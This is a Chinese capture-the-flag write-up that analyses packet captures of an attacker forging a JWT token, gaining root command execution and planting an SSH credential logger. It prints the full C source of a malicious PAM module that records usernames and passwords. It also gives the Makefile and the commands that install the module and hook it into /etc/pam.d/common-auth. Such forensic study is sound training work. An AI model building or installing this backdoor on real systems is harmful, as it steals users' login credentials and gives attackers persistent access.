• 全网最新最全首届“陇剑杯”网络安全大赛完整WIRTEUP --- jwt(6题)


    题目描述

    昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
     
    2.1   该网站使用了______认证方式。(如有字母请全部使用小写)
    wp:
    jwt是什么? 参考连接 https://www.cnblogs.com/gaohuayan/p/11394342.html
    jwt就是JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案,通俗来说就是让多个服务器知道你是谁,而无需重复登录。jwt保存在cookie中,格式是

     头中保存的是jwt格式,载荷中保存的是内容,签名部分保存的是前面内容的哈希值防止篡改

    wireshakk打开包,

     7号数据包是post方式提交form表单认证,8号数据包表示认证通过同时返回jwt数据和网页,jwt数据可以简单理解为cookie。

    flag:

    因此该网站使用的jwt认证方式,这里有个坑,我开始以为是form表单认证,这里问题描述还是不够清晰。

    2.2  黑客绕过验证使用的jwt中,id和username是______。(中间使用#号隔开,例如1#admin)

    wp:

    在8号数据包中,我们在cookie中的token中提取jwt数据

    token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc

    分为三段

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

    eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0

    dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc

    用base64解码第二段得到

    {"id":10086,"MapClaims":{"aud":"admin","username":"admin"}}

    flag:

    因此10086#admin

    我提交后发现不对,我们再次审题 黑客绕过验证使用的jwt中,重点是黑客绕过验证,分析数据包,这个jwt是黑客使用弱密码admin表单登录后发送给黑客的第一个令牌,并没有体现绕过二字。之后在27号黑客使用该令牌执行了系统命令whoami,系统返回了   alert("The administrator has the authority to do this, you can’t") ,意思是只有管理员才有权力执行该命令,你不能执行。黑客此时明白了它并不是最高权限,有再次登录获取新的jwt,还是不行。在97号数据包中,黑客首次构造了jwt,构造结果如下

    token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc; Path=/; Max-Age=3600; HttpOnly

    解密后得知,

    {"id":10087,"MapClaims":{"username":"admin"}}

    这个才是伪造的,之前是系统自动生成的。

    flag:
    因此10087#admin

    2.3  黑客获取webshell之后,权限是______?

    wp:

    在97号数据包中黑客使用伪造的jwt提交了whoami,98号包返回 root。这里黑客利用了jwt伪造漏洞和命令执行漏洞

    flag:

    root

    2.4  黑客上传的恶意文件文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)

    wp:

    因为一个一个查看黑客执行的代码比较麻烦,我们导出http对象同意分析文件。再103号数据包中,用base64解码后都到,将下面1.c写道/tmp/目录下

    #include <stdio.h>
    #include <stdlib.h>
    #include <curl/curl.h>
    #include <string.h>
    #include <security/pam_appl.h>
    #include <security/pam_modules.h>
    #include <unistd.h>
    size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)
    {
    return size * nmemb;
    }
    
    void saveMessage(char (*message)[]) {
    FILE *fp = NULL;
    fp = fopen("/tmp/.looter", "a+");
    fputs(*message, fp);
    fclose(fp);
    }
    
    PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
    return PAM_SUCCESS;
    }
    
    PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
    }
    
    PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
    int retval;
    const char* username;
    const char* password;
    char message[1024];
    retval = pam_get_user(pamh, &username, "Username: ");
    pam_get_item(pamh, PAM_AUTHTOK, (void *) &password);
    if (retval != PAM_SUCCESS) {
    return retval;
    }
    
    snprintf(message,2048,"Username %s
    Password: %s
    ",username,password);
    saveMessage(&message);
    return PAM_SUCCESS;
    }
    

    flag:

    1.c

    2.5  黑客在服务器上编译的恶意so文件,文件名是_____________。(请提交带有文件后缀的文件名,例如x.so)

    wp:

    109号数据包中又写了/tmp/Makefile

    CFLAGS += -Werror -Wall
    
    looter.so: looter.c
    	gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl

     然后再/tm目录下执行make命令,将looter.c编译成looter.so

    flag:

    因此是looter.so

     2.6  黑客在服务器上修改了一个配置文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)

    wp:

    之后黑客发现源代码文件名称不对不是1.c,重命名源代码文件名称,mv /tmp/1.c /tmp/looter.c,这里是作者故意埋下的坑,让2.4的问题变得模糊,让我们以为上传的文件是looter.c

    再次make,此时/tmp下有三个文件Makefile   looter.c   looter.so,编译好的木马是looter.so

    cp /tmp/looter.so /lib/x86_64-linux-gnu/security/,移动木马到ssh认证目录下

    echo "auth optional looter.so">>/etc/pam.d/common-auth,这里修改了ssh配置文件

    flag:

    etc/pam.d/common-auth

    之后黑客执行了

    service ssh restart

    cat /tmp/.looter 

    Username root
    Password: flag{test_flag}
    Username root
    Password: flag{test_flag}
    Username root
    Password: flag{test_flag}
    Username root
    Password: flag{test_flag}
    Username root
    Password: flag{test_flag}
    
    

    因此黑客上传的是ssh登录凭证记录木马

  • 相关阅读:
    centos修改主机名 root@后面的名字
    Postgresql插入或更新操作upsert
    postgresql中使用distinct去重
    Docker permission denied while trying to connect to the Docker daemon socket
    zookeeper三节点集群安装记录
    使用Jenkins pipeline流水线构建docker镜像和发布
    使用wrk进行压力测试
    Springboot配置端口号
    intellij idea使用maven本地仓库及修改本地仓库路径
    idea 多模块项目
  • 原文地址:https://www.cnblogs.com/GKLBB/p/15302906.html
Copyright © 2020-2023  润新知